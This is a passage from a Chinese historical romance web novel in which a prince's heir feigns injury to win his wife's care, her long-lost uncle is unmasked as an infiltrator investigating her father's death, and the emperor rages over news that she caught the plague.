他又默默在心底反复念了几遍“妻子”这个词,愈发地神清气爽,若是他身后生了条尾巴,怕是已经高高翘起,摇出残影了。 王妃抬眼便瞧见他这幅没出息的样子,不忍直视地移开了视线,温柔地将封眠扶起来,“好孩子,他自己行事不稳重,怎能怪到你头上?也罢,你说……” 王妃正想放过百里浔舟,却听百里浔舟轻咳一声,拿腔作势地望着她道:“母亲,儿子真的知错了!” 满眼都写着几个大字:快罚我快罚我快罚我! 王妃:……什么毛病。 她蹙蹙眉心,忽地福至心灵,罚他领家法,受了伤,便有借口叫封眠心疼他了。 好小子,几日不见,真是与往常不可同日而语了。 王妃眼底笑意一闪而过,改口道:“你虽这么说了,但到底不能轻轻饶过他,免得他日后更是不知天高地厚。” 她冲王爷使了个眼色:“王爷,家法处置。”—— 作者有话说:王妃:我儿有心眼了,必须配合! 第75章 “父亲怎么还当真对你下手啊。” 流萤和雾柳一左一右推开门,封眠搀扶着百里浔舟,踩着屋内流泻而出的灯光走了进去。 她还是头次看见百里浔舟伤成这个样子,大婚那日他刚击退伏兵回来,身上的刀伤狰狞渗血,半点异常都没露出来。现下却虚弱得路都走不稳了。 王爷还是亲爹呢,下手可真是狠。 窗前花梨木美人榻上,新换了一只暗绣兰草纹样的雨过天青色软缎垫子。百里浔舟将半个身子都倚在封眠身上,由她搀着自己在上面坐下。 熟悉的场景,让百里浔舟想起上一次在这张美人榻上,封眠悉心为他上药的画面。他忽觉喉间干涩,喉结上下微动,但转瞬又想起当时自己在这张榻上说了什么,黑下脸去。 人永远无法共情过去的自己,他简直想不通大婚之夜的自己怎么就要与封眠说,她可以效仿永宁长公主养面首。 脑壳发昏了不成? 身后,封眠未曾察觉他跌宕的心绪,正想拨开衣领瞧一瞧伤势。 削聪般的手指眼见便要触到玄色衣领,忽然顿住,指尖蜷了回去。 “我去喊山衣来替你上药。” 这怎么行!百里浔舟回身,急急一抬臂,慌乱中揽住了封眠的腰身。 修长五指贴在她纤薄的腰线之上,掌心的热度隔着轻薄的衣衫烫得封眠微微一颤,迈不开步子。 百里浔舟尚无所觉,满心皆是要说些什么才好不暴露自己的司马昭之心,将她留下来。 他坐在美人榻上,微微倾着身子,就像是趴进了封眠怀里一般,极近地贴着她的腰身仰首,黑白分明的眼底盛着恳切的光。 “让山衣看见我被父亲打成这样,也太丢脸了。你帮帮我,好不好?” 他从未说过这样示弱的,带着几分撒娇意味的话,耳后一点点烧了起来。 百里浔舟暗自庆幸,屋内燃着许多烛火,若被问起来耳根怎么红了,便能说是烛光映的。 周遭灯烛从四面八方落下流流光彩,在两人身上映下明灭的影。 封眠垂首,看见百里浔舟漆黑的眼瞳中泛着潮湿的光。 她心颤得一塌糊涂,贝齿微微咬着唇内侧的软肉,点了点头,才想起来去推箍在腰间的手,“你……先放开,我去拿金疮药。” 细白的手指搭在少年比她要大上一圈手掌之上,指尖触碰到凸起的指骨,冷白的指尖与有着微弱肤色差的手背交错搭叠,对比强烈。 两只手的指尖同时轻颤了一下,略大些的手掌飞快地缩了回去,手背轻轻蹭过素白的指尖。 百里浔舟缩回手,乖乖端坐在美人榻上,视线追随着去梳妆台上取金疮药的封眠。待她取了药走回来,他才背过身去。 修长的指利落地解开了腰间的革带,要褪下外袍时,却不动了,带着沉沉的叹息道:“胳膊好痛,抬不起来了。” 他微微侧了侧首,也不敢去瞧封眠,长睫抖了抖,顶着红透的耳朵,轻软道:“再帮我一下吧。” 砰,砰。 在忐忑等待的两道缓慢的心跳声之中,素白指尖终是再次触上了玄色衣领,轻轻将外袍脱下,再向前探手到腰间,去解中衣的系带。 倾身时,封眠呼出的气息轻洒在百里浔舟颈侧,微热的温度让他的脖颈迅速烧红了起来。 封眠一层层剥下他的衣衫,看见他自肩至脖颈处一片白里透红,还未及疑惑,便看见肩背往下被剑鞘砸出的於痕,密密麻麻一直延伸到窄腰之上。 她没忍住惊呼:“父亲下手也太狠了!” “我可是从肩到腰都照顾到了,只差没将他的臀一块打了。” 铜镜中映出王妃与定北王的身影,定北王一面为王妃卸钗环,一面语气得意邀功。 “你打儿子打得还挺开心?” 向来惯于自己作对的儿子送上门来主动求着要挨打,定北王心里自然是乐开了花,但嘴上可不好这么承认,狡辩道,“这不是要全力配合他的苦肉计吗?叫咱们的儿媳一见便为他心疼,一心疼,感情不就好起来了吗。” 王妃无奈摇头,“那便希望阿琢这苦肉计没白挨吧。” 灯烛错落摇曳,沾着药膏的手指轻缓地划过白净皮肤上的於痕,痒得百里浔舟肩头一缩,又被封眠以掌心拍了下肩。 “别动。” 百里浔舟立时便不动了,无声地轻轻吐着气,肩背肌肉依然紧张地绷紧。 於痕向下没入后腰,封眠轻轻抵着他的脊骨一推,轻声命令道:“趴下。” 百里浔舟顺从地向前趴靠在引枕上,便觉一只手握住了他的裤腰向下拉,惊得他险些弹坐而起。 他蹬着腿,捂着后腰,半转过身来,像一只受惊的狼犬炸了毛,圆睁着一双原本锐意十足的眼,显出几分无辜懵然,期期艾艾说不出话:“你、你……” 脱他裤子干什么? 封眠被他吓了一跳,手还悬在他腰的位置上,张嘴打了个磕绊:“有、有伤……” 百里浔舟心下狂跳,面上通红,暗暗埋怨父亲打的不是地方,怎么能,怎么能…… 他是存了些使用苦肉计顺带展露一下美人计的小心思,可怎么能,怎么能…… 两人都垂着眼,一时谁也没敢看谁,空气渐渐粘稠得像是被倒了一锅糖浆一般。 笃笃,房门突地被敲响,接着传来轻衣一板一眼的声音:“世子殿下,有军情上报。” 裹着屋子的透明气泡被戳破,粘稠的糖浆汩汩流走了。 屋内的两人回过神来,百里浔舟提着裤腰站起来,耳后热气未消,觉得自己方才的反应实在是大惊小怪,丢脸至极。 他什么大风大浪没经过,不过夫妻之间脱一下裤子上一下药,做什么跟被揪住了尾巴似的? 明日,明日定要去父亲书房中将他藏起来的禁书翻出来研读! 百里浔舟兀自平复好心中山呼海啸的情绪,不舍道:“那我先出去一趟。” “嗯,嗯,药也上得差不多了。”封眠胡乱地点头,将金疮药搁到榻上,正准备帮百里浔舟穿衣,就见方才还说胳膊抬不起来的人已经迅速穿好了中衣,指尖正灵巧地将系带打结。 “你胳膊没事了?” 百里浔舟动作一僵,缓缓地落下双手,露出意外的神色,无辜地看向封眠,“就好了一下,现在又不好了。” “……” 看来这胳膊的好坏,全在他一句话之间。 封眠未戳穿他,上前替他穿上外裳,束好革带,两手勒着革带一扣,才意识到他的腰有多劲瘦有力。 指尖痒痒的,有些想摸一下。 封眠忍住,正要抽手离开,百里浔舟骨节分明的手掌覆在她的手背,几乎将她的手包在了掌心。 他温声报备道:“你早些休息,待会儿若是忙得太晚,我就直接宿在营中了,明日再回来。” 封眠点了点头,百里浔舟才依依不舍地往门外走,走到门口又停住脚步,回头叮嘱:“你今日没怎么吃东西,待会儿让人送一碗热羹来,暖一暖胃再睡,可好?” “好。” 百里浔舟一步三回头地出了门。 等在门外的轻衣心下还泛起嘀咕:世子殿下今日动作真慢。 夜深,屋内习惯性地留了一盏灯,厚厚的灯罩罩着,只发出微如萤火的一点光来。 层层垂落的床幔之后,穿着月白寝衣的封眠将被子拉至下巴处,闭上眼睛睡觉。 “我不认识安乐公主,我只认识你。” 刚一闭上眼,星月之下百里浔舟说的那番话就在她耳边响起。 她睁开眼,盯着头顶床帐上绣着的榴花花纹。时隔几日,终于在熟悉温暖的床帐间躺下,松懈下来的大脑便开始反复回想这几日百里浔舟的一言一行。 他这话是什么意思呢? 封眠翻了个身侧躺,盯着眼前的手指,又想到今日给百里浔舟上药时,看见的宽肩窄腰,肌肉线条流畅而漂亮,细而不弱的腰侧似乎还有腰窝,很漂亮。 她蓦地羞红了脸,低头把自己埋进被子里,双脚在床上蹬了蹬被子。直到感觉呼吸有些困难了,才重又探出头来,露出一张红扑扑的脸。 冷静下来,她开始觉得百里浔舟很有问题,大婚那日她主动要给他上药时,他还百般不愿,今日竟还装着胳膊抬不高,骗她帮他脱衣裳。 他肯定不对劲。 但封眠于情一道,实在没有什么实践经验,虽然很想问他一句“不和离了吗?”,却也不知怎么问出口才合适。 封眠就这么念着一桩心事,在脑海中胡思乱想了些情境,慢慢睡了过去。 翌日一早,封眠正用早膳,忽来人通传说傅辞偃求见。 这么一大早,他有什么要紧事? 侍女领着傅辞偃进来,他穿一身玉簪绿的细麻直裰,一条深色皮革腰带利落地束出窄腰,懒散地晃悠了进来,如同进自家后花园一般自在。 封眠礼貌地问:“可有用过早膳?” “未曾。”他不客气地在封眠面前坐下,“既然郡主相邀共用早膳,那我便不客气了。” 封眠:…… 她只问了一句可有用过早膳,哪里相邀了? 罢了,她咽下一口汤羹,问道:“傅公子一早过来,是有何要紧事?” 傅辞偃慢条斯理地剥了个蛋,道:“我是来辞行的。” 封眠一怔,这才想起与傅辞偃本就是在黑石沟意外相遇,他并不是她的亲朋好友、手下属官,自然是会走的。 傅辞偃这人其实并不多讨人喜欢,但不知为什么,听他说要离开了,封眠心下还有些舍不得。 到底也是相处了好几日,又一道历过疫病,也算得上是共患难过的友人了。 天地茫茫,以后未必有机会再见, “若你日后有需要帮忙的地方,尽可着人给我传信。檐下挂着‘封’字牌的……” “都是你名下的店铺。”傅辞偃截了她的话头,眼底漾起几缕笑意,“我知道。你铺子开得很不错嘛,北疆半壁商户,都快成封家的了。” 言语间,竟似是有些骄傲。 封眠觉得有些奇怪,没太往心里去,又问道:“你要去何处?可需要派人送你一程。” “去盛京,见一见故人,郡主不必相送。” 说这话时,他身上那种浮荡公子的气息蓦地沉静下来,整个人显得深邃了许多,如云遮雾罩。 “日后或许不会再见了,此物送予你……”他说着,将半握着什么东西的手伸向封眠的方向。 “住手!” 凌厉一喝自院门方向传来。 封眠扭过头去,便见见百里浔舟手持弓箭出现在院门口,箭尖对准了傅辞偃—— 作者有话说:王妃恨铁不成钢地戳脑壳:你羞什么! 第76章 四周雅雀无声,小院墙头已悄无声息地伏满了疾羽营士卒,密密羽箭皆瞄向傅辞偃,他若有任何异动,立时便会被万箭射穿。 院门处的百里浔舟额上覆满薄汗,胸膛急促起伏着,得知傅辞偃来见封眠后,他便一路奔袭,赶回来便看见傅辞偃正与封眠同坐一桌,向她的方向伸出手,不知要做什么,当下惊得心都快跳出来了。 百里浔舟厉声道:“把手放下,离她远点。” 傅辞偃神色镇定如初,似乎毫不在意正被数万只箭羽瞄准。他从善如流地收回手,慢条斯理地甩了甩袖子,“用个早膳而已,世子殿下做什么弄出这么大的阵仗?” 对面的封眠将身子略向后仰了仰,藏在袖中的手,缓缓握住了防身的匕首。百里浔舟总不会无缘无故地带兵闯进来,虽然没从傅辞偃身上嗅到危险的气息,但她信他自有理由。 “你还要装模作样到什么时候?”百里浔舟眯起双眸,黑瞳中燃着愤怒的火苗,“你不知道吗?阿尔纳部的人正在大肆搜寻你的踪迹。” 原本身形懒散的人陡然侧首,冰冷的目光射向百里浔舟,声音冷诮:“是吗?找我做什么?” 见他仍一副不见棺材不掉泪的模样,百里浔舟微微向侧后偏头示意,两名士卒压着一名阿尔纳部的俘虏上前。 “仔细瞧瞧,是他吗。”百里浔舟的声音中带着一抹肃杀的凉薄。 那名俘虏抬起满是血污的脸,只瞧了傅辞偃一眼,就仓惶低下头去,用蹩脚的大雍话说道:“是,大王要找的人,就是他!” 傅辞偃忽然动了动,百里浔舟立时拉紧了弓弦,却见他只是起身理了理衣袍,旋即竟泰然自若地踱步走向百里浔舟。 两名疾羽营侍卫在他动作的瞬间,迅捷跳入院内,将封眠和流萤、雾柳护到了身后。 在距离百里浔舟和那名俘虏几步远之外,傅辞偃方停下脚步,饶有兴致地盯着那名俘虏,与百里浔舟说话:“你没问问他,他们大王找我作甚?” 俘虏忽然以头抢地,磕出巨响,扬声嚷道:“您是大王帐下最信任的谋士,自打入了大雍便失了行踪,大王担心,命我们私下搜寻!” 铿锵有力,不打磕绊的一长串话砸入现场众人的耳中,令大家都愣怔了一瞬。 封眠先是震惊于傅辞偃竟与阿尔纳部有关联,接着又疑惑,若阿尔纳部这位大王如此重视傅辞偃的安危,手下士兵即便是在刑罚之下供认出他的身份,也不应在万箭所指的此刻,火上浇油一般嚷嚷出大王如何重视他。 怎么听起来像是生怕他死得不够快。 口条还一下子变得如此顺溜,好似提前背过一样。 “啊,竟然长脑子了。”傅辞偃轻轻地,毫无波澜起伏地表达着自己的惊讶。 他将目光转向百里浔舟,“世子殿下意下如何?现在要杀了我吗。” 百里浔舟:“……” 总觉得他方才两句话意在嘲讽他没长脑子。 方才他是关心则乱,如今封眠已然平安,他冷静下来也咂摸出几分不对劲来,只是手中弓箭仍未放下,冷声道:“空穴来风,你先与我回疾羽营,慢慢分说。” 两名疾羽营士卒应声上前,自左右逼近,伸手便欲反剪傅辞偃双臂,将他押走。 “不巧,我今日便是来辞行的。” 傅辞偃散漫的目光忽而一利。 左侧士卒的手即将触到他肩头的刹那,他身形微侧,向前迎了半步,右手如电探出,格挡住那士卒伸来的手臂,左手顺势拽走了他腰间佩剑。 傅辞偃握住剑柄的同时,以右足为轴,旋身避开右侧士卒的猛扑,左手握剑就势向后一送,将其击飞。 电光石火之间,百里浔舟射出手中箭,金石破空之声骤响,傅辞偃后仰躲避,锐利箭尖擦着他的脸颊而过,留下一道细小的擦伤。 百里浔舟反手抽箭搭弓,脚下挪移,再次瞄准傅辞偃。而傅辞偃亦将手中长剑刺向百里浔舟。 “住手!” 千钧一发之际,又一人气喘吁吁地闯了进来,顾春温竭力一喊:“封小将军,住手!” 咔嚓,羽箭与长剑相击,断成两截的羽箭落地的瞬间,场面也为之一静。 封小将军,是谁? 顾春温向来从容优雅的形象此刻有些狼狈,他上前两步,横身挡在百里浔舟与傅辞偃之前,看向傅辞偃,“封小将军,你还要伪装到何时?” 封辞偃盯着他看了半晌,随意丢开手中的剑,笑了:“你是怎么猜出来的?” 此刻他已全然扫去一浮荡书生的气质,脊背挺直如利剑,语调虽还是有些漫不经心,但周身已掩不住沙场历练出的凛然气势。 “你的好恶都太明显了。” 满场静寂之中,众人都还在消化“傅辞偃其实姓封”这个消息,尚处在脑筋转不动的阶段,唯有顾春温慢条斯理地说着自己的推断,也让众人混乱的思绪随着他的一字一句变得清晰。 “自打相遇起,你便对郡主格外关心,却又不是出于男子对女子的倾慕之心,反而隐隐有着长辈的关切。此番回程,听你提起镇国大将军,我本以为你只是封家的旧识。” 但他回去后翻阅旧时与师长之间的书信,试图找出姓傅且与封家往来密切的家族,却忽然想起,镇国大将军封辞胥,还有一个小他二十岁的幼弟。 “这位幼弟乃大将军庶母所生遗腹子,自幼长于大将军之手,不离左右。但在大将军故去后,便不知所踪。彼时小将军只是锋芒初露,是以并无多少人注意,遂无人再提起。” 顾春温一瞬不瞬地盯着封辞偃,“算算年纪,如今恰好二十又五,与你一般。我没说错吧?” “只有一点错了。”封辞偃略带冷倦地垂下眼,“我早已不是什么小将军。” 言下之意,便是承认了他便是镇国大将军封辞胥那已经失踪十一年的幼弟。 “你……”封眠满心震惊,下意识向前走了两步,忽又迟疑地顿足,不敢置信地望着不远处的青年,只觉周遭的一切都带上了一种不真实的缥缈感,喉咙仿佛被什么东西堵住,发不出话音。 他是父亲的弟弟,那么…… 封辞偃偏头看向她,与她生得有几分相似的眼瞳中多了许多温柔。 “小满。”他第一次唤她的乳名,却毫不生疏,仿佛已在心中念过千百遍,“你应叫我一声小叔叔。” 封眠哑然,她只知父亲的父母早亡,却从未有人提过他还有一个同父异母的亲弟弟,她以为父亲那一脉的亲戚早就已经断绝了。 难怪她初见傅辞偃时便觉得眼熟,这时再瞧,才意识到他眉眼间与父亲,与自己,都有几分相像。 落拓身姿被框于天地之间,恍惚间,封眠仿佛跨越时空长河,再次与父亲对视,让她不自禁地红了眼眶。 “你你你你……”比封眠更加震惊愕然的,却是百里浔舟。他握着弓箭的手都僵住了,手中羽箭放下也不是,搭弓也不是。 他的目光在封辞偃与封眠之间来回打转了好几圈,不得不承认,若留心细瞧,他们眉眼间确实有些相似之处。 “你既然……你与阿尔纳部……”百里浔舟心中一阵惊涛骇浪,疑云遍布,封辞偃消失这么多年到底去做什么了,惹得阿尔纳部众人追寻? 想问的问题太多,一时之间竟不知先问哪一句。 封辞偃没好气地瞧他,“你被鸟叨了舌头?” 百里浔舟:“……” 很气,但现在封辞偃身份已经不一般了,他摇身一变成了封眠的小叔叔,眼瞅着封眠看向封辞偃的目光已经变得亮晶晶水汪汪,百里浔舟还如何能出口顶撞“长辈”? 一场内斗消弭在顾春温的“揭穿身份”之中,在场众人都被百里浔舟下了军令,不得走漏丝毫风声,以免阿尔纳部的人闻着味儿摸过来。 封辞偃本说自己有要紧的事,要即刻入京,却不肯与封眠说清楚到底是什么要紧之事。封眠刚与小叔叔相认,心中有许多疑惑要问,当即挽着他的手臂不让他走。 封辞偃到底对侄女心软,叹一口气:“你这样留我,显得我今日非要走,还与百里动起手来,很呆。” “此一时,彼一时,我看谁敢拿此事笑话你?” 百里浔舟默默移开了视线,欲哭无泪,觉得自己好不容易在封眠那里占领的地位,迅速被旁人“鸠占鹊巢”了。 那不要脸的鸠还拿捏起了长辈的做派,处处刁难起他这可怜的小鹊来,百里浔舟觉得自己遇到了“恶婆婆”。 “茶太烫了,世子殿下平日便是这般喝茶的?” 众人围坐在桌前,不便唤侍婢在旁,百里浔舟便自觉地替“长辈”斟茶,就被他一会儿刁难凉了,一会儿刁难热了,若不是看在封眠的面子上,百里浔舟真想把茶泼他脸上。 “小叔叔,热了你就晾一会儿再喝。”封眠看不过眼,将再次起身端茶水的百里浔舟拉着坐下,“世子平日又没伺候过人,你这般为难他做什么?” 被封眠一维护,百里浔舟立即神清气爽起来,连带着瞧封辞偃时,包容度都变高了。可见世上所有的婆媳关系,都怪夹在中间那人不作为! “他平日连杯茶都不给你倒?”封辞偃蹙眉,又找到一个可以攻击的点。 百里浔舟:?你在拿自己和谁相提并论?你们俩能比吗? 封眠安抚地在桌下拍了拍百里浔舟的手,转移话题:“小叔叔,你为何一开始不与我相认呢?” 若不是顾春温留神,今日封辞偃走了,日后她上哪里去知道自己还有一个小叔叔? 封辞偃顾左右而言他,摸了摸自己脸颊上再晚一炷香就要愈合的伤口,故意叹气道:“唉,世子殿下的箭法当真是奇准,我都闪得那般快了,还是被划伤了,若是再慢上一点,怕是这脑袋就要被你当糖葫芦串起来了。” 百里浔舟:“……” 怪他吗? 封眠主持公道:“此事可怪不到世子头上,若不是你隐瞒身份,又与阿尔纳部不清不楚,世子今日岂会执箭对着你?” “你不许再绕弯子,为何一开始不愿与我相认?” 第77章 “你不肯说,所以此事与我有关?” 封眠目光如炬,紧紧锁住封辞偃。 在她不依不饶的逼视之中,封辞偃默然移开了视线,拒绝与她眼神接触。 “喔,或者说,与我父亲有关。”她音调不高,却字字清晰。 笃定的语气令封辞偃忍不住皱了皱眉,“你非要打破砂锅问到底吗?” 他以为某些心照不宣的沉默还是很有必要的。 但封眠不喜欢这种被瞒在鼓里的感觉,诚然也许有些欺瞒是善意的,可此事关乎人命与真相,她直觉必须得问个清楚。 “十一年前你失踪后,是不是就想办法混入了阿尔纳部?” 封辞偃没说话,默认了。 百里浔舟咬牙切齿,小发雷霆地用半个手掌一拍桌,“难怪这些年阿尔纳部频频作妖,果然背后有矮人指点!” “……” 屋内略显肃然的气氛被这神来一笔的“矮人指点”冲淡了几分,封辞偃无语地瞧他一眼,不得不为自己辩解一句:“我没给他们谋划过针对大雍的策略。” 这话让百里浔舟心中松了口气,他想着,封眠大约也很难接受自己的小叔叔帮着外族侵犯大雍百姓,才故意有此一问。 封眠垂眸思忖片刻,再抬头时目光清亮如雪,直直看向封辞偃,声音轻而坚定:“所以父亲的死并不简单,对吗?” “上一辈的事,与你无关。”封辞偃开始搜寻屋内有没有其他可以落座的地方,真不想跟这孩子同桌而坐了。 这话说得太过冷硬,在座众人都愕然瞪他,虽知他是不想让封眠掺和进某桩麻烦事里,但这话说出口也委实有些太凉薄了。 封眠亦有些被气到,抓着他的衣袖将他摁在原地无处可逃,怒而发问:“死去的是我的父亲,怎么能与我无关?” “他养过你吗?”封辞偃忽然冷声问道。 嘶……有人倒抽一口冷气。显然没想到封某人口中还能吐出更为凉薄的字眼。 屋内静得落针可闻。 顾春温和百里浔舟对视一眼,难得站在了同一阵线,正准备说些什么,却听封辞偃继续道。 “他只陪过你三日。只为了这三日,你凭什么要因为他的死而背上仇恨?这对你不公平。” 百里浔舟和顾春温对视一眼,又坐住了没有说话。 “若父亲的死是人为,便事涉朝堂,并非仅仅只是私仇。况且,虽无养恩,亦有生恩。父亲说过,并非他不想将我带在身边,而是……”封眠的话音戛然而止,脸色倏地煞白,瞳仁因震惊而放大,嘴唇轻颤,“父亲的死,与舅舅有关吗?” 窒息般的寂静笼罩了整个房间。 百里浔舟在桌下悄然握住封眠冰凉的手。 封辞偃叹了口气,“你与阿兄一样,就是不愿做一个糊涂人。” 周身的空气仿佛寸寸凝结成冰,冷得令封眠难以喘息。 “我不能确定,他在其中是否做过手脚。” 此话一出,封眠方才觉得自己又能呼吸了,一旁的百里浔舟比她还要迫不及待:“什么意思?” 封辞偃知道就算自己想瞒下去,封眠也定然不会罢休,从他这里问不到,也会去别的地方查,何必再让她劳心费神,便干脆将一切和盘托出。 “阿兄当年与定北王约定,于拥雪关外将北夷彻底驱逐。” 听见还有自己父亲的事,百里浔舟警觉地向前倾身。 “他提前一夜,率兵埋伏在拥雪关外的侵云岭。但计划被人走漏了风声,阿尔纳部知悉了他的方位,反将他一举合围。” “阿兄率军血战,原想着坚守至次日援军抵达,但定北军迟迟未至……” “不可能!”百里浔舟霍然起身,“父亲绝非背信之人,更不可能延误如此重要的军机!” “坐下。”封辞偃语气沉静,“急什么?我还没说完。” 百里浔舟耐着性子坐回去,眉峰紧蹙,听他继续往下说。 “我从悬崖上摔下去,意外保得一条性命,昏迷月余。醒后才知道,那样一场疑点重重的战事,竟被轻描淡写一笔带过,只道阿兄不敌阿尔纳部,战败而亡。” “我信不过身边任何人,便决定假死消失,暗中查探。” 他只用一句平淡的话轻巧带过了过往的十一年,但听者都知这其间有多少惊险与苦楚。 百里浔舟想起来之前得到的消息,阿尔纳部要寻的人“面上有一道自右上横贯左下的伤疤”,惊疑不定地打量他如今看来十分光洁的面部,“所以你在阿尔纳部时脸上的伤疤……” “我好歹随阿兄上过几次战场,与阿尔纳部正面交锋过,自然需做些伪饰。”封辞偃淡然解释,阿兄曾夸过他俊俏,因这一句话,他也不会对自己的脸下死手。 “这些年我在阿尔纳部苦心经营,发现他们并未与定北王有何联系,却与盛京某些势力一直暗中往来。” “所以我推测,当年之事,定北王应当也被蒙在鼓里。许是有人从中作梗,误传了军令。” 百里浔舟的眉心这才松开些许。 封眠轻声道:“或许……舅舅也不知道呢?” 哪一朝的天子会在自己身侧留下通敌叛国的逆臣不去查,放任这么多年? 但封辞偃不大讲道理:“那谁知道呢?陛下向来厌恶我阿兄,便是知道有问题,也未必愿为他彻查。包庇与嫌犯同罪。” “你这是偏见。” “长辈的恩怨你不懂,他的厌恶,可不是普通的厌恶。” “你当年也只有十四岁,比我如今还小三岁,你又能懂多少?” 封辞偃伸出手指来戳她的额头,“那我也懂得比你多,小笨蛋。” 封眠长到这么大,只有她笑褚景涟笨蛋的份,还是头一次被别人戳着脑袋叫笨蛋,气得两颊都鼓了起来。 “你是不是还查到了别的证据?你定是找到了盛京与阿尔纳部勾结之人的线索,所以今日才要辞行?” 尝试插科打诨,将此事囫囵过去的封辞偃:“你怎么还记着?” 封眠不说话,只一味地盯着他看,盯到他叹气投降:“只是有些线索。具体证据,还要入京之后才能筹谋。” 他仍是没有说到底查到了什么线索。 “你就这样一个人入京,难道没想过,若是被幕后之人发现了,会将你灭口的!” 想过啊,所以这不是来找你道别了吗? 此话封辞偃只敢在心里想想,怕说出口来,将面前的小侄女气得跳脚。 其实最初他并未将这未曾谋面的小侄女放在心上,只是刚回到大雍时,便意外听见了封眠的消息。阿兄在世时,他便总听阿兄念叨着“小满长,小满短”的,才想着顺路过来替阿兄瞧一瞧,日后与阿兄黄泉相见,也好有所交代。 待见了面,他才发现封眠在许多地方都与阿兄极像,果敢,勇毅,也与嫂嫂一般温柔良善。 他与阿兄差了二十岁,父亲在他出生前便去世了,母亲生下他后也很快撒手人寰,长兄如父这个词在他身上,当真是人生写照。 十几岁正叛逆的年纪里,他与阿兄针尖对麦芒,吵到最凶时甚至离家出走,是嫂嫂从中斡旋,温柔地融化了他的刺。 他觉得自己比封眠幸运,因此面对阿兄与嫂嫂留在这世间唯一的,活着的遗物,难免歉疚怜惜之情愈深。 封眠见他半晌不说话,便知他此去定然就没想着要活着回来,顿时气不打一处来,正要任性一把发作,却见他忽然自袖中拿出之前没能递到她手上的东西,送到面前,是一枚玉环,半面雕刻着槐花,刻痕突兀地停在交界处,玉环的另一半光洁无痕。 “阿兄本想雕枚玉环送你把玩,却只完成了一半。我犹豫了许久也未将它补完……” 封眠接过玉环,触手生温,指尖摩挲过表面雕刻的槐花纹路,停在它突兀的断痕之处,忽然问:“父亲有没有教过你,如何做槐花麦饭?” 封辞偃愣了一下,点头:“自然教过。” “明年生辰,我要吃你做的槐花麦饭。”她忽然如此要求道,语气坚决。 幼时父亲带她出宫的那三日离,亲手给她做了一碗槐花麦饭,说母亲也最爱此味,那香甜的味道她记了许多年。虽然这些年每到槐花盛开之际,她都会找不同的厨子做一碗槐花麦饭,但一直都没吃到当年父亲做出的那种味道。 封辞偃既然学过,自然要给她做上一碗才行, 其实言下之意,便是不许他孤身入京犯险,怎么也要好端端地活到明年她过生辰才行。 封辞偃:“……不行。” 等到明年也太久了。 “你急什么?”封眠蹙眉,“舅舅还活得好端端的,大雍也不会一夕崩坏,留给你伸冤的时间多得很。况且如今你的身后并非空无一人,又没到需要以命相搏的时候,做什么急着去盛京送命?” 明明有更稳妥的路可以走,非要白白牺牲性命做什么? 封眠没说出口心底隐隐的不安,封辞偃说舅舅厌恶父亲,并非是玩笑之语,若是舅舅真的明知父亲的死有问题,却放任不管,她要怎么办? 盛京,皇宫。 “公主,您慢些,奴婢听说今日太子殿下也在呢,恐怕不好打扰……” 宫墙之下,碧桃小跑着追在褚景涟身后。 “在就更好了,太子兄长平日里也最是关照封眠,我倒要问问他们,封眠得了疫病的事,到底是不是真的!” 褚景涟拎着裙角跑得飞快。 其实她是不信的,封眠从小虽是小病不断,却没什么大病,因她是个极其惜命之人,怎么可能放任自己陷入那种危险之中?疫病一个不好,可是真的会死人的!还会死得很难看,她好歹也是金尊玉贵的郡主了,谁敢让那些病患接近她? 她一路不歇地跑到明心殿前,守在门口的大监忙伸手拦:“公主不可……” 殿内忽地传来摔砸奏折的巨响,大监一瞬分了神,褚景涟一矮身就从他手底下钻了进去。 第78章 偌大的书房内静得针落可闻,两侧廊柱下伺候的宫人皆屏息垂首,瞧见一双金丝牡丹缎面绣鞋蓦地闯入,疾步踏过织金地毯,众人飞快抬眼一瞥,见是昭宁公主,谁也没敢上前去拦。 几本奏折横七竖八地躺在地上,嘉裕帝正拧着眉看下一本奏折,面色沉郁。 褚景涟踮着脚绕过去,没敢去喊父皇,悄悄挨到下首长身玉立的太子兄长身旁,正想与他搭话,一抬眼却愣住了。 向来都是面色温和如春风的太子兄长,此刻面无表情,唇色苍白,长睫黑压压地垂下,仿佛在竭力克制着某种翻涌的情绪。 她从未见过太子兄长这般难看的脸色,不用再开口询问,也知道现下是什么情况了。比思绪先反应过来的,是眼中落下的一滴泪。 察觉到颊侧濡湿时她吓了一跳,赶紧抬袖抹掉。一面质疑自己哭什么,一面提醒自己可不能在此时此刻当着父皇与太子兄长的面哭出来,他们两个看起来像是随时都能暴起的样子。 砰! 奏折被砸在桌案之上,弹起滚落在地面,什么温润气度都荡然无存,嘉裕帝一双凌厉凤眼中几乎射出火光来,“他百里一家的脑袋是戴够了吗?竟让小满身陷如此险境!” 语罢,他气得猛咳起来。 赈灾的官员他派了,问罪的文书他下了,为防范疫病,他也提前派了医官往北疆去,只是医官队伍还没到,便传来疫病爆发的消息,朝堂上下正为此事吵得焦头烂额,雪片般的弹劾奏章更从四面八方飞来,直指定北王护卫不力,陷清平郡主于险境。 一连几本奏折看得人心惊肉跳,肝火大动,直到翻出定北王亲自呈上的请罪奏折,坐实了封眠染上疫病的消息,彻底点燃了嘉裕帝怒火。 太子褚景泽缓步上前,捡起方才被摔下来的奏折,翻开看了一眼,深黑的瞳孔瞧不出喜怒,下颌微微收紧,侧脸线条绷得冷硬如刀。 开口时,语气像是冰封湖面下涌动的水流,寒凉却竭力克制,“气大伤身,请父皇保重龙体。” 他将奏折搁回桌案之上,斟了杯热茶奉上。嘉裕帝喝下一口热茶顺了顺气,方才止了咳,只是怒气仍然难消。 “北疆路远,定北王的奏折今日才送到,小满……”他顿了顿,没接着说下去,但在场众人都知晓他的未尽之语。上报封眠染病的请罪奏折今日才到,距离封眠染病必然已经过去了数日,如今是吉是凶,犹未可知。即便此刻再从盛京派遣太医,恐怕也为时已晚。 嘉裕帝此刻无比后悔将封 眠嫁去那么远,若非那命格之说……他的目光忽然扫到褚景涟,顿生迁怒,“你在这里干什么!” 褚景涟吓得一颤,对上嘉裕帝隐含责难的目光,这才想起来最初要被嫁去北疆的人本应是她,若非母妃暗中斡旋,如今遭罪的人说不得也应是她了。 这般想着,她已下意识跪倒在地,绞着手指道:“女儿、女儿心中担心清平妹妹安危……” 说上几句,她心中又溢出委屈来,父皇又为了清平凶她,早知如此,她便先去寻母妃了,自己巴巴地跑来父皇面前做什么? 面前忽然一暗,褚景泽挪了一步,挺拔身影将她遮在身后,“父皇息怒,昭宁与小满姐妹情深,怜她远嫁,定是一时关切过头,才不及通传便贸然闯了进来,还望父皇勿要怪罪。” 褚景涟泪汪汪地仰首看着褚景泽高大的背影,心想还是太子兄长对自己好! “郡主——!” 